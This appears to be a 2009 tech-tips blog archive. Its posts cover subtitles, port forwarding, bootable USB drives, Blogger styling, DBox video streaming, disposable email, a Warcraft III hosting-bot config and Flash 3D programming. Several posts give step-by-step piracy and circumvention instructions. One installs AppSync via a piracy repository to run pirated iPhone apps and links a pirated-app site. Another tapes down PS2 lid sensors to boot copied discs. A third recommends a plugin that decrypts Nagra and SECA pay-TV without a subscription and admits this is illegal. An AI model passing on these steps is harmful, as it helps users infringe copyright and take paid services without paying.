Friday, August 7, 2009

how to add subtitles to youtube videos

adding subtitles to a video can be a cumbersome task, but thanks to this new website – dotsub.com – it’s free and easy:

1) download the original video and convert it to avi format [how to download / convert videos from youtube to your iPod]

2) go to dotsub.com website and start a free account:
how to add subtitles to youtube videos
- click on “my film” tab / “post a new film”
- fill out the fields (title, file, etc)
note: “primary language” is the language the video is currently in (eg. German) – later on, you’ll be able to submit other languages (eg. English translation) subtitles / captions.
- once the video is uploaded, you’ll have to transcribe it in the original language first (link box, on the very right portion of the screen)
transcribe youtube videos

| use the slider under the video to play/stop/move the video timeline
| chose the start minute/second and finish time from drop the drop down in the middle of the screen
| type in the subtitles/caption in the gray box on the right side of the screen

- after you done with transcribing, you’ll be able to “translate this film” (same box) to any language you wish (eg. from English to German)
note: although this is not automatic, one of the great options of this website is allowing other users to translate this film for you!

although time consuming, this is the only free option available at the moment without having to save, write up the subtitles in a particular file format and the encoding in via virtualdub.

Monday, August 3, 2009

How to open ports ( utorrent or any p2p programm )

1. Firstly, you have to understand that the download speed depends on the seeders and peers connections
2. In order to see if the port you require is already opened, you go to: Options > Speed Guide > Test if the port is forwarded properly
3. In case it's not working, you can also try this : Options > Preferences> Connection >"Enable UPnP Port Mapping".
4. Test again if it works ( repeat step 2.)
5. In case it's still not working, you should revise your router settings, or any device that blocks your ports

Tuesday, July 28, 2009

Utility to make an USB Drive bootable

If you are an fairly advanced computer user, at times you may need to boot from devices other then the default hard-disk, mainly to troubleshoot virus infections and other critical operating-system related issues, I had shared tips on how to make bootable cd for performing advance system tasks on windows. Today I will share few utilities enabling you to create bootable USB pen drives with ease, you need to have Motherboard/BIOS with USB boot support for this to work.

MakeBootable is an free and simple-to-use utility to make your Pen Drive act as a boot-up disk without erasing any data on the device. It consists of a single executable file and requires no installation, However the utility will only work on USB device's using Phison’s chip solution and FAT file-system only (you can re-format your drives to FAT easily).

If the above utility fails to recognize your USB drive you can download and use the HP USB Format Utility and HP USB Boot utility, They work with other brands of flash drives as well, The best software for creating bootable flash drives with the most extensive support of drives and advance options would be "FlashBoot" from PrimeExpert but its not free and costs around $31, you can download and try the demo version.

There are quite a few other manual methods to make usb devices bootable as discussed here, once you succeed in making your USB drive bootable using any of the method discussed above, You need to change the boot-up setting in the system BIOS as described below to boot using your portable device:

  1. With your device inserted, restart the machine.
  2. Enter the BIOS setup menu to change the boot device setting.
  3. If the boot-up files are created in the USB drive, select USB-HDD or USB-ZIP (preferred). If the boot-up files are created in the floppy drive of your device, select USB-FDD (for Pen Drive that supports security mode).
  1. Save and exit the BIOS setup. You should be able to boot up with you USB device.

ipod secret menu

This will not work on all the models, expecially on the ipod touch or on the iphone

What you have to do is reset your ipod ( by holding home + ok button down for 5 seconds) and when the reboot screen appears, you have to press ( and keep pressed ) the home button and the rewind button, until the secret menu appears

Here you will be able to test the functionality of your buttons, hold button and so on.

Its not much, but it will scare the hell out of your friend when u do this to his ipod

cheers

Monday, July 27, 2009

Google adsense good or bad ?

As many of you know, google became the greatest marketing tool in the internet. Why ? Because it offeres each and every one of us the opportunity to start an online business. Its that simple. Just start a website with good content and in time, your ads will pay back. The ads google generate are based on the content of your website, for instance if your website is about fishing, the ads will show offers on fishing trips or bait tips

The flaw in this system is that the ads sometimes go crazy ( really crazy ) and display ads that sometimes make you laugh very hard.

For instance :
The website was about programing in c++ and I got and ad in german about "killing", and also written in bad german.

That's marketing !

How to add/modify background in your blog

Now this is maybe one of the easy stuff. Just follow the following steps:

1. You can upload the background file to free host site like http://photobucket.com/ or http://imageshack.us
2. Log in to Blogger
3. Go to Template then Edit HTML
4. Locate the ‘body’ CSS.
5. After the open parenthesis {, click enter to open a new line
6. add the background code like the line below in bold:

body {
background: url(”http:xxx.jpg”) repeat;
margin:0;
text-align:center;
line-height: 1.5em;
font: x-small Trebuchet MS, Verdana, Arial, Sans-serif;
color:$mainTextColor; font-size/* */:/**/small; font-size: /**/small;
}

7. Save the template and view your blog.

The ‘repeat’ function tells blogger to repeat the background patten horizontally and vertically.

To repeat only horizontally, put ‘repeat-x’ or ‘repeat-y’ for only vertically.

Sunday, July 26, 2009

Google taps YouTube videos for ads

Here is a how to, on setting up Google AdSense Video Units via YouTube.


Step 1: Go to your AdSense Set Up Page and click on the YouTube (Video Units)


Step 2: Agree to legal disclaimer (first time only)


Step 3: Confirm your AdSense account with YouTube (first time only)

YouTube after you agree to the disclaimer. This is where you plugin your AdSense account information, so YouTube and AdSense can communicate.


Step 4: When that is done, it should tell you they have associated your account with YouTube.


Step 5: Then you set up your first player. You define the player name and description, the layout and the colors also.


Step 6: Define the content matching options. You can let Google figure out your content and provide relevant video ads, or you can help with hints or by specifying the content you want on your site.


Step 7:Then you just click the generate ad code

Paste the code into your page, like I did here below and you should see an add related to search stuff. The next time you go to your Google AdSense set up page and click on video units, you will be taken to a page that shows you your old units and gives you the ability to create new ones or remove old ones.


That pretty much is the detailed walk through of how to set up Google AdSense Video Units.

What are PHP and MySQL?

PHP was at first created as a simple scripting platform called "Personal Home Page". Nowadays PHP (the short for Hypertext Preprocessor) is an alternative of Microsoft's Active Server Pages (ASP) technology.

PHP is an open source server-side language which is used for creating dynamic web pages. It can be embedded into HTML. PHP is usually used in conjunction with a MySQL database on Linux/UNIX web servers. It is probably the most popular scripting language.

PHP is a widely-used general-purpose scripting language and interpreter that is freely available. A full explanation of all the PHP tags, complete user manual and lots of tutorials can be found on the PHP's official page.



MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

SQL is the most popular language for adding, accessing and managing content in a database. It is most noted for its quick processing, proven reliability, ease and flexibility of use. MySQL is an essential part of almost every open source PHP application. Good examples for PHP/MySQL-based scripts are phpBB, osCommerce, and Joomla.

A QuickGuide To Streaming Video From PC to DBox

A QuickGuide To Streaming Video From PC to DBox
By the way, video can be DivX, Xvid, OGG, MPEG, ....etc.
The instructions in this guide assumes the following:
01. The DBox is configured and fully operational.
02. The DBox is accessible from the PC that will be streaming the video. Try doing a "ping". For example, if your DBox
has the address 192.168.0.5, enter:
ping 192.168.0.5
in a windows command prompt. You should observe 0% packet loss.
03. All the information described in this guide was tried on a PC running Windows XP Professional. Note, all firewalls are turned off.
04. Search and download vlc-0.7.2 from the internet. Do not get the latest version (currently vlc-0.8.2)!
On the PC, create a new local user. Right click my computer, Manage, User & Groups, Expand User & Groups, right click Users, New User, Username = dbox2, Password = dbox2. Untick "User must change password at next logon".
Now, share a folder containing videos. I chose to share the following folder:
c:\Movies shared as Movies
To share a folder, right mouse click on it, Properties, Sharing, Share this folder, Permissions, Add, Locations, Select the name of your PC, OK, enter dbox2 in the object names field, click ok, click ok again. One more ok.

Is it just me or am I correct in saying that people who refers to directories as folders are mostly Mac users?
Anyway, install vlc-0.7.2 onto the PC.

Grab the remote, press the dbox button, Settings, Network, Mount/CIFS
volume. Edit the first line:
type: CIFS
IP: xxx.xxx.xxx.xxx (IP address of the PC) directory share: Movies (note the capital M) localdir: /var/mnt/movies
mount on startup: yes mount options:rw,soft,udp
mount options: nolock,rsize=8192,wsize=8192
CIFS Username: dbox2
CIFS Password: dbox2
Select "Mount Now" Exit the menu screen.
Now press the dbox button, Settings, Movieplayer: Set Streaming Server to on
Confgiure the IP address to that of the PC
Configure the port number to 8081 (normally 8080 but I had to change this) Configure DVD drive letter to D (change this accordingly)
Change directory to C:\Movies (note the capital M) Leave 1000 for data rate
Leave 192 for audio rate
Leave all other settings as per default
//Winodws//
Open up a command prompt. Change directories to where vlc was installed. Here is what I typed in on my PC:
c:
cd "Program Files\VideoLAN\VLC\"

The default port number that vlc uses is "8080". Unfortunately, I already had some other application using this port and had to change it to use
port "8081" instead. This is what I typed in the command prompt to change the port (permanently):
vlc --save-config --http-host=:8081
Close the vlc window and type in the following to start vlc properly:
vlc --extraintf=http
This is all we need to do on the PC. Don't touch the PC and go look for the dbox remote.
Press the dbox button, Movieplayer, File via VLC.
At this point, if everything is working correctly, you should see a listing of the videos in your movies directory. Using the dbox remote, select the file you like to play and press the "ok" button on the remote. If you don't see the list of files, just navigate to them. Remember, they will be in "/var/mnt/movies".
You should see a dialogue box on your TV with a message about "connecting to the streaming server". This box disappears shortly and is replaced
with another dialogue box with a message about "Buffering". This buffering takes a few seconds (max). At this point, I got moving
pictures on my TV as well as sound. Neat or what?
I'm not sure what is the best way to stop the streaming but it seems pressing the "home" button on the remote stops the playback and takes me to the Movieplayer menu.

Notes to myself and others
===================
To be able to stream video from the PC to the DBox, you will need a powerful PC. This is a must! Not sure exactly what the minimum requirements are but I ended up using a Pentium 4 2.8 GHz PC.
Can people provide some feedback as to your PC setup for video streaming from PC to DBox?
Initially, I tried vlc-0.8.2 but this did not work. The symptoms:
blank screen but audio stream plays okay. Tried various video
formats but the result was always the same.
The ethernet interface in the DBox is 10Mbit/s. DVD video with a DTS
audio stream can easily saturate this ethernet speed. I have not tried this personally but my guess is DVD streaming will either not work or be really choppy.
Certain files when streamed can still be a problem. For example, video/audio synch issues. I am not 100% sure but this seems to be related to the size of the file. File sizes around 300MB plays okay for me but anything bigger, say 1GB, are played poorly.
The Sportster 1.73 JFFS2 image I used does not have the "movies" directory in "/mnt". But this directory exist in "/var/mnt/movies" instead.
You can telnet into the dbox from the PC. Just type "telnet xxx.xxx.xxx.xxx" and replace the xxx with the IP address of your DBox. Login as user root - no password required. Once you have logged in, you can do anything you like. For example, create the "movies" directory in "/mnt". Mentioned here for those who are unfamiliar with UNIX.

Install Apps on iPhone/iTouch 3.0 via Cydia [ipa]

Ever buy an app and realize it was complete garbage? Well for better or worse after you complete this guide you won’t have to pay for an app again. However if you do like the application you should pay for it, as you will be notified when updates are available and that developer spent a lot of time creating the app.
You will need:
• Jail Broken iPhone / iTouch . iPhone 3GS currently cannot be jail broken.
Steps
1. Open Cydia, this is an application that is installed when you jail break your device.
2. Go to the Manage tab, the “tabs” are located at the bottom.
3. Select the Sources option
4. Select the Edit button, this is located in the top right.
5. Select the Add button, this is located in the top left.
6. Input cydia.hackulo.us in the text box it should read http://cydia.hackulo.us/ and press Add Source
7. You may get a warning, select “Add Anyway“
8. As it will update every source not just the one we added, you may get errors in which you can ignore.
9. Once it is all done go back to the main cydia menu and press the search tab
10. Search for “AppSync” and install “AppSync for OS 3.0″.
11. Restart your iPhone.
12. You can now drag and drop .IPA files into your iTunes application section, sync your phone and run them!
Note: A great place to find pirated apps is: http://appulo.us/appdb/

How to Set Up a Disposable Email Address

Introduction

With the proliferation of Spam on the Internet, many people have taken to using disposable email addresses to help slow the flood of unsolicited emails into their primary email account. Instead of providing their real address and password when signing up for websites, services or filling out registration forms online, users will instead use their disposable address. In the case that their disposable email address starts to receive spam, they can simply delete (or "dispose") of their temporary address and start a new one. While using disposable email addresses is only one of the many ways that you can help eliminate spam, it is one of the most powerful.

Why Set Up a Disposable Address
There are a number of good reasons for using a disposable email address: If you use your Real email address to sign up for a service online, there is a good chance that it will fall into the hands of spammers. If this happens, you're inbox will be inundated with junk mail - making it hard for you to identify and manage your Real messages. While many of the websites and services that you access online will claim to be secure and promise not to let your personal information get into the wrong hands, it is nearly impossible for them to ensure complete security. Some (more nefarious) site owners may even sell the email address information they collect directly to spammers or direct marketers. Disposable email addresses are Free and can be used or disposed of at your convenience. They can also be configured to meet your specific needs.

How to Use Your Disposable Address
One of the great things about disposable email addresses is that they can be configured or set up to meet your specific needs. From message forwarding, RSS feeds, multiple aliases and spam maps, disposable email accounts offer many different features to help you identify and manage spam. While not all disposable email services will offer all of these features, you should have no problem finding one to meet your needs.

Message Forwarding
One of the great things about disposable email accounts is that you can set them up so that any messages you receive will be forwarded directly to your primary account. This way you can manage all of your accounts from one email account. If any of your disposable addresses start getting spam, you can simply delete the account and the messages will stop being forwarded to your primary email address.

Multiple Aliases
Many disposable email services will allow users to set up multiple accounts (or "Aliases"). This can be helpful if you want to use different accounts to manage emails from many different services. Also, when you do start getting spam, it can help you identify which of the services was responsible for letting your email address get into the wrong hands.

Expiration Date
Another helpful feature of disposable email addresses is that they can often be set up to automatically expire after a certain amount of time. While some disposable email services have a set amount of time until their accounts expire (such as 10 Minute Mail), others will let you specify exactly how long you want the account to be active for. Also, some accounts can be set up to automatically expire after a certain amount of email addresses have been received.

Spam Maps
Although it may not serve a practical purpose for casual Internet users, this feature is still pretty cool. Since disposable email services are basically just magnets for spam, they have the ability to collect large amounts of data on where that spam is coming from. That data can be used to create a Spam Map that visually represents where the junk mail that they receive is coming from.

RSS Feeds
Disposable email services that offer RSS (Really Simple Syndication) feeds for your temporary email account make it easy for you to subscribe and keep an eye on the messages that you are receiving. This can be an alternative to having your mail forwarded to your primary email address.

Disposable Email Services
Here are some of the most popular disposable email services, with brief descriptions of the various services they offer: Mailinator: Receive-only email, No Sign-Up required, RSS feeds, Widget, Spam Map
10 Minute Mail: Automatically expires after 10 Minutes, changes domains regularly
2Prong.com: Receive-only email, temporary email accounts, Open Source platform, changes domains
SpamGourmet: Mail forwarding, custom aliases, requires registration

Saturday, July 25, 2009

How to get swap magic disks to work on new PS2

what you need:

1. PStwo system
2. Swap magic cd version 3.2 and DvD v2.0 disks
3. Duck tape, or anything like that.
4. A small screw driver.

Step one

Open the PStwo (this does void the warranty). There are 6 screws located under the square pads at the bottom. Unscrew them and break the black seal at the back of the ps2. The cover then snaps off easy.

Step 2

Locate the the 2 objects that tell the ps2 the flip cover is closed (i call them tabs). These are little square boxes with a piece of plastic sticking out that are on a spring mechanism (these tabs are very small). You know you found them when you can touch the top and a piece of plastic moves in and out. Tab # 1 is located right behind the reset button and is easy to see. You can even see that tab #1 when the full cover is on the ps2 and the tray is open. The second tab (which is brown or tan colour on my ps2) is located right beside the LAN Ethernet port and is directly in front of the warranty seal. Its pretty easy to see because its sitting there all alone at the bottom of the ps2.

Step 3.

Cut super small squares of tape and place it on top of the tabs to make the little plastic deeley stay down. That is all you have to do. Just make the plastic spring thing stay down. It was pretty easy to do, and I made sure not to put tape on the green motherboard just in case. Make sure you tape both tabs down and they stay down.

Step 4.

Place the cover pack on and screw the screws back in.

DONE, the easy hacking part.


Step 5.

place the swap magic dvd into the ps2 let it boot up then all you have to do it take out the disk and put in your backup dvd then close the lid and hit X. I have GT3 on a memorex DVD+R and it worked right away.


Sorry for any typos or the vague description of the tabs. They are pretty easy to find and if someone could post my pic i have them circled so you can easily identify them

Have fun.

"tv on pc" with progdvb (and vplug)

First of all, you will need a good computer that has no problems handling audio and video streams. Second of all, you will require a satellite dish, and nevertheless a TV-tuner card with satellite support ( i would suggest a Skystar2 from Technisat )

Next you will be installing ProgDvb from their official website and start scanning your satellites ( in case you have more than one ).

Here is where it gets tricky, since no one man can be satisfied with such small amount of channals that come FTA (free to air), so you will be more than content to read the following section of the article.

Vplug, a plugin developed by vahid, holds all the answers you seek. With this tool you can decript the stream without the "intervention" of a smartcard. Now I'm legally obligated to tell you this is illegal, and it servers only for education purpuses, so be carefull how you use it.

This tool decripty Nagra and Nagra 2 ( some SECA and CRIPTOWORKS as well ), most known package being DigiTV ( Europe ) after PREMIERE's so called blackness

GHost One / GHost++ Warcraft 3 advanced bot setup

GHost One - GHost++ advanced remote controlled bot

GHost One is a major modification of the official GHost++ source. GHost One was originally a (GUI) Graphical User Interface for GHost++, also referred to as a Wrapper, meaning it was a program that launched GHost and interacted with it.

GHost One is not officially compatible with Battle.net Servers! (It does not support Warden)

This guide will show you how to setup your GHost One bot.
This will work with warden being implemented.
If you only have one key and have read this over, watch the video on how to use the admin game mode.

First thing that you will need to know is the system requirements.

Windows System Requirements
• Visual C++ 2008 Redistributable Package (x86)
• A decent performing computer and decent internet connection. Sorry dialup users... . Also, if you're hijacking someone's wireless internet, you probably can't host... ever. (legally anyways...)
Step 1 -> Download GHost One 1.4.194

As I speak in this tutorial, the current version of GHost One is version 1.4.194.
Because of Warden, users may update GHost One, and so this guide could be updated.
Download Here!
And go here to setup your configuration to work with warden.
(But only extract the files, and get it setup).
(Don't worry about putting anything into your config file until we actually get there in this guide).
Step 2 -> Extract The Files

You must find the file GHostOne1.4.194.zip.
Usually the file would be in a place like the downloads folder.
Once you find the file, try to right click it and there should be an option "Extract Here."
If you don't have that option, download this.
Then place the folder to the area of your choice.
I have my folder on my desktop.
And for the sake of this guide, I will leave the folder where it saved to.

Step 3 -> Turn On File Extensions

Open up a folder (It doesn't matter, because you just need to do something with the folder options, not the contents).
Click "Tools."
Click "Folder Options."
Click the tab "View."
Make sure that "Hide Extensions For Known File Types" is unchecked.

Step 4 -> Setup GHost One

If you plan to have GHost setup with its own CD key and on an official battle.net server, then lines marked in green must be edited:

If you plan to have GHost setup with the same CD key as WC3 and host on an official battle.net server, then lines marked in purple AND green must also be configured.

I'll mark all non-essential options to orange, as you do not actually need to change/monitor these settings for Ghost to work properly.

Options in Blue should be taken note of, but shouldn't need to be changed except for troubleshooting purposes.

PvPGN server set up information is covered at the end of Step 4. (FYI: PvPGN servers are non-battle.net Warcraft III gaming servers.) They have a dedicated support thread here: GHost++ PVPGN Specific Help

All lines that start with a # are ignored by Ghost!
I've already edited the Ghost.cfg with examples.
Quote from: Ghost.cfg
#####################
# BOT CONFIGURATION #
#####################

### the log file

bot_log = ghost.log

### the language file

bot_language = language.cfg

### the path to your local Warcraft III directory
### this path must contain war3.exe, storm.dll, and game.dll
### this path must end in your system's path seperator (i.e. "\" on Windows or "/" on Linux)
### if this path contains War3Patch.mpq the bot will attempt to extract "Scripts\common.j" and "Scripts\blizzard.j" on startup and write them to bot_mapcfgpath (which is defined later in this file)
### common.j and blizzard.j are only required for automatically calculating map_crc, you do not need them if your map config files already contain map_crc

bot_war3path = C:\Program Files\Warcraft III\

### the address GHost++ will bind to when hosting games (leave it blank to bind to all available addresses)
### if you don't know what this is just leave it blank

bot_bindaddress =

### the port GHost++ will host battle.net games on (this must be different from your admingame_port)

bot_hostport = 6112

### maximum number of games to host at once

bot_maxgames = 5

### command trigger for ingame only (battle.net command triggers are defined later)

bot_commandtrigger = !

### the path to the directory where you keep your map config files (must end in your system's path seperator)
### this directory can also contain common.j and blizzard.j (extracted from War3Patch.mpq)
### common.j and blizzard.j are only required for automatically calculating map_crc, you do not need them if your map config files already contain map_crc

bot_mapcfgpath = mapcfgs\

### the path to the directory where you keep your savegame files (must end in your system's path seperator)

bot_savegamepath = savegames\

### the path to the directory where you keep your map files (must end in your system's path seperator)
### GHost++ doesn't require map files but if it has access to them it can send them to players and automatically calculate most map config values
### GHost++ will search [bot_mappath + map_localpath] for the map file (map_localpath is set in each map's config file)

bot_mappath = maps\

### whether to save replays or not

bot_savereplays = 0

### the path to the directory where you want GHost++ to save replays (must end in your system's path seperator)

bot_replaypath = replays\

### the bot's virtual host name as it appears in the game lobby
### colour codes are defined by the sequence "|cFF" followed by a six character hexadecimal colour in RRGGBB format (e.g. 0000FF for pure blue)
### the virtual host name cannot be longer than 15 characters including the colour code, if you try to go over this limit GHost++ will use the default virtual host name

bot_virtualhostname = |cFF4080C0GHost

### whether to hide each player's IP address from other players or not

bot_hideipaddresses = 0

### whether to require spoof checks or not
### disabling spoof checks just turns off automatic spoof checks and requiring players to be spoof checked before starting the game
### spoof checks need to be enabled if you want GHost++ to detect which realm each player came from (use the !check command to see the realm)
### you can always manually spoof check by whispering the bot (and in fact is required before running admin commands)

bot_spoofchecks = 1

### whether to display game refresh messages by default
### this can always be changed for a particular game with the !refresh command

bot_refreshmessages = 0

### whether to automatically lock games when the owner joins

bot_autolock = 0

### whether to automatically save games when a player disconnects
### this can always be changed for a particular game with the !autosave command

bot_autosave = 0

### whether to allow map downloads or not
### set to 0 to disable map downloads
### set to 1 to enable map downloads
### set to 2 to enable conditional map downloads (an admin must start each map download with the !download or !dl command)

bot_allowdownloads = 1

### whether to ping players during map downloads or not
### GHost++ will always stop pinging any players who are downloading the map
### this config value determines whether GHost++ should stop pinging *all* players when at least one player is downloading the map

bot_pingduringdownloads = 0

### the maximum number of players allowed to download the map at the same time

bot_maxdownloaders = 3

### the maximum combined download speed of all players downloading the map (in KB/sec)

bot_maxdownloadspeed = 100

### use LC style pings (divide actual pings by two)

bot_lcpings = 1

### auto kick players with ping higher than this

bot_autokickping = 400

### automatically close the game lobby if a reserved player (or admin) doesn't join it for this many minutes
### games which are set to automatically start when enough players join are exempt from this limit (e.g. autohosted games)

bot_lobbytimelimit = 10

### the game latency
### this can always be changed for a particular game with the !latency command (which enforces a minimum of 50 and a maximum of 500)

bot_latency = 100

### the maximum number of packets a player is allowed to get out of sync by before starting the lag screen
### before version 8.0 GHost++ did not have a lag screen which is the same as setting this to a very high number
### this can always be changed for a particular game with the !synclimit command (which enforces a minimum of 10 and a maximum of 10000)

bot_synclimit = 50

### whether votekicks are allowed or not

bot_votekickallowed = 1

### the percentage of players required to vote yes for a votekick to pass
### the player starting the votekick is assumed to have voted yes and the player the votekick is started against is assumed to have voted no
### the formula for calculating the number of votes needed is votes_needed = ceil( ( num_players - 1 ) * bot_votekickpercentage / 100 )
### this means it will round UP the number of votes required
### if you set it to 100 it will require 2/3, 3/4, 4/5, 5/6, 6/7, 7/8, 8/9, 9/10, 10/11, and 11/12 votes to pass
### if you set it to 90 it will require 2/3, 3/4, 4/5, 5/6, 6/7, 7/8, 8/9, 9/10, 9/11, and 10/12 votes to pass
### if you set it to 80 it will require 2/3, 3/4, 4/5, 4/6, 5/7, 6/8, 7/9, 8/10, 8/11, and 9/12 votes to pass
### if you set it to 70 it will require 2/3, 3/4, 3/5, 4/6, 5/7, 5/8, 6/9, 7/10, 7/11, and 8/12 votes to pass
### if you set it to 60 it will require 2/3, 2/4, 3/5, 3/6, 4/7, 5/8, 5/9, 6/10, 6/11, and 7/12 votes to pass

bot_votekickpercentage = 100

### the default map (the .cfg is added automatically)

bot_defaultmap = dota6.59

### the MOTD file
### the first 8 lines of this file will be displayed when a player joins the game
### if this file doesn't exist a default MOTD will be used

bot_motdfile = motd.txt

### the gameloaded file
### the first 8 lines of this file will be displayed when the game finished loading (after the player loading times are displayed)

bot_gameloadedfile = gameloaded.txt

### the gameover file
### the first 8 lines of this file will be displayed when the game is over
### this only works when using a stats class - note: at the time of this writing the only stats class is for DotA maps

bot_gameoverfile = gameover.txt

############################
# ADMIN GAME CONFIGURATION #
############################

### whether to create the admin game or not (see readme.txt for more information)

admingame_create = 0

### the port GHost++ will host the admin game on (this must be different from your bot_hostport)

admingame_port = 6113

### the admin game password

admingame_password = admin

##########################
# DATABASE CONFIGURATION #
##########################

### database type (this config value is ignored for now since we only support one type of database)

db_type = sqlite3

### sqlite3 database file

db_sqlite3_file = ghost.dbs

############################
# BATTLE.NET CONFIGURATION #
############################

### which battle.net server to connect to
### 1.) useast.battle.net
### 2.) uswest.battle.net
### 3.) asia.battle.net
### 4.) europe.battle.net
### note that each banned player is tied to the realm it was created on and the realm is case sensitive
### so if you change your realm from useast.battle.net to USEAST.BATTLE.NET it'll still connect but anyone previously banned will not be counted as banned until you change it back

bnet_server = useast.battle.net

### your Warcraft III: Reign of Chaos CD key

bnet_cdkeyroc = REALCDKEYFFFFFFFFF5165FFFF

### your Warcraft III: The Frozen Throne CD key

bnet_cdkeytft = REALCDKEYFFFFFFFFF5165FFFF

### your battle.net username

bnet_username = GameHost

### your battle.net password

bnet_password = mypass

### the first channel to join upon entering battle.net

bnet_firstchannel = The Awesome Channel

### the root admin on this battle.net server only

bnet_rootadmin = DotA_GOD

### command trigger for this battle.net server only

bnet_commandtrigger = !

### whether to automatically add your friends list to each game's reserved list

bnet_holdfriends = 1

### whether to automatically add your clan members list to each game's reserved list

bnet_holdclan = 1

### you will need to edit this section of the config file if you're connecting to a PVPGN server
### your PVPGN server operator will tell you what to put here

bnet_custom_war3version =
bnet_custom_exeversion =
bnet_custom_exeversionhash =
bnet_custom_passwordhashtype =

###
### example configuration for connecting to a second official battle.net server
###

# bnet2_server = uswest.battle.net
# bnet2_cdkeyroc = FFFFFFFFFFFFFFFFFFFFFFFFFF
# bnet2_cdkeytft = FFFFFFFFFFFFFFFFFFFFFFFFFF
# bnet2_username =
# bnet2_password =
# bnet2_firstchannel = The Void
# bnet2_rootadmin =
# bnet2_commandtrigger = !
# bnet2_holdfriends = 1
# bnet2_holdclan = 1

###
### example configuration for connecting to a third PVPGN battle.net server
###

# bnet3_server = server.eurobattle.net
# bnet3_cdkeyroc = FFFFFFFFFFFFFFFFFFFFFFFFFF
# bnet3_cdkeytft = FFFFFFFFFFFFFFFFFFFFFFFFFF
# bnet3_username =
# bnet3_password =
# bnet3_firstchannel = The Void
# bnet3_rootadmin =
# bnet3_commandtrigger = !
# bnet3_holdfriends = 1
# bnet3_holdclan = 1
# bnet3_custom_war3version = [this information is subject to change]
# bnet3_custom_exeversion = [this information is subject to change]
# bnet3_custom_exeversionhash = [this information is subject to change]
# bnet3_custom_passwordhashtype = pvpgn



The items listed should be self explanitory



Clarification - Some items only have to be noticed, and not changed in Ghost.cfg, you will reference these items later.
They are:
bot_hostport = 6112
- this number does not need to be changed, but you do need to know what this port is set to if you have problems with people joining games. Refer to the tutorial [How to] Fix game joining issues.
bot_defaultmap = dota6.59
Upon loading Ghost, it can now be set to automatically load a map cfg file. Essentially this automatically loads settings to allow hosting a map. If set properly, Ghost can also upload the map to other players who do not have the map. This entry has to be the filename (without .cfg) of the map configuration file that you can find/make in the mapcfgs folder.
admingame_port = 6113
- this number does not need to be changed, but you do need to know what this port is set to if you have problems with people joining games. Refer to the tutorial [How to] Fix game joining issues.
bnet_custom_war3version =
At the time of this tutorial, this value can stay at nothing, or you can set it to 23.

The orange items are basically there just to allow you to tweak Ghost to your liking. You shouldn't need to change these items, but it shouldn't hurt to change them either.

The blue items are most commonly only changed if there are complications setting up Ghost. Often users can setup Ghost without the need to change these values.

For PvPGN Setups, you should just need to change the following settings:
Remember, this is a non-battle.net server!
Quote from: PvPGN Ghost.cfg
bnet_server = server.eurobattle.net
bnet_cdkeyroc = FFFFFFFFFFFFFFFFFFFFFFFFFF
bnet_cdkeytft = FFFFFFFFFFFFFFFFFFFFFFFFFF
bnet_username = MyGHostUsername
bnet_password = mypass
bnet_firstchannel = The Void
bnet_rootadmin = MyUsername
bnet_commandtrigger = !
bnet_holdfriends = 1
bnet_holdclan = 1
bnet_custom_war3version = [this information is subject to change]
bnet_custom_exeversion = [this information is subject to change]
bnet_custom_exeversionhash = [this information is subject to change]
bnet_custom_passwordhashtype = pvpgn

Is it Legal to Unlock Your iPhone?

The answer, as lawyers like to say, is complicated. And, for that complicated answer, there is no one better qualified than Jennifer Granick, the Stanford Law School professor who obtained the DMCA exemption in 2006 for cell phone unlocking.

Rather than give the full exposition, I'll just encourage you to read her recent explanation at WIRED.

The iPhone's fantastic user interface is inspiring another consumer-electronics revolution: making people care about cell-phone unlocking. After my clients' long, successful battle before the U.S. Copyright Office to exempt phone unlocking from the anti-circumvention provisions of the Digital Millennium Copyright Act, have iPhone customers won the freedom to tinker with their cool new handsets? The answer, unfortunately, is that we still don't know.

One suggestion, however -- if you are going to be unlocking your iPhone, don't activate it using the usual iTunes process, lest you "agree" to the 21,000 words worth of contracts that await you there. Fortunately, there are plenty of other ways to activate an iPhone out of the box, which shouldn't involve clicking "I agree" to anything.

Away3D Programming Tutorials

Away3D is a powerful Flash 3D engine which started life as a spin off from the Papervision Flash 3D engine. Since then it has taken on a life of its own, and is currently one of the few 3D engines available for Flash that can make use of the new features of Flash Player 10.
In this tutorial I will be showing you how to get a basic Away3D program up and running. This will be the first in a series of tutorials, and as such we will lay down a lot of foundation here that we can build on. This means that while the outcome will be quite simple, we will be creating a few classes as a result.
The program itself will be conceptually split into two areas: the "engine" and the "application". The reason for this is that there will be a great deal of code that is used to create, run and cleanup the Away3D "engine", and for the most part this code will be common amongst the tutorials. On the other hand the "application" will change significantly between tutorials. By keeping the code that makes up these two areas separate we can define a reusable base that will be used with all the coming tutorials, and it will also help isolate the code that achieves the result of the tutorial from the boilerplate code that runs the Away3D engine.
The first class we need to create is the EngineManager. As the name suggests this class will deal with creating, running and destroying the Away3D engine.
EngineManager.as
If you click the link above you can see that there is actually quite a bit of code. The reason for this is that we are creating the EngineManager as a Flash Component (see the Adobe documentation here). By extending the UIComponent class and overriding a number of key functions we can create a class that can be dropped onto a Flash or Flex application by someone with no knowledge of the underlying code.
One of the functions of the EngineManager will be to allow any class extending the BaseObject class (more on that later) to update itself before a frame is rendered to the screen. For this we need to maintain a collection of BaseObjects, which is where the baseObjects, newBaseObjects and removedBaseObjects properties come in. The baseObjects property holds all the currently active BaseObjects, while newBaseObjects and removedBaseObjects contain BaseObjects that were just added or removed from the system.
The reason why we don't just add and remove objects from baseObjects directly is that it is almost always a bad idea to modify a collection while you are lopping over it. Take a look at line 158. See how we loop over the baseObjects collection and call enterFrame on each BaseObject. If we added and removed an instance of a BaseObject class from baseObjects directly, and the BaseObject we called enterFrame on was to create a new BaseObject or remove itself from the system during this call we would find ourselves with an inconsistent collection. You might find the for each loop ends up skipping a record, or visits a record twice. In fact a lot of programming languages expressly forbid this sort of collection modification during a loop by throwing an execption, and even in those languages that don't its best avoided.
Once you understand the reason for maintaining separate collections for newly added and removed BaseObjects you can explain a lot of the code in the EngineManager class. The addBaseObject and removeBaseObject functions add a BaseObject to the newBaseObjects and removedBaseObjects collections respectively, while the insertNewBaseObjects and removeDeletedBaseObjects functions are called (from the onEnterFrame function) to synchronise the main baseObjects collection with the added and removed BaseObjects.
EngineManager contains 6 functions that are used in the lifecycle of a Flash/Flex component. Four of these are detailed in the adobe documentation, and I'll run through them here.
The measure function is used to define the minimum and default size of the control. This is pretty straight forward as all we need to do is assign 4 values to the underlying UIComponent measuredMinWidth, measuredMinHeight, measuredHeight and measuredWidth properties.
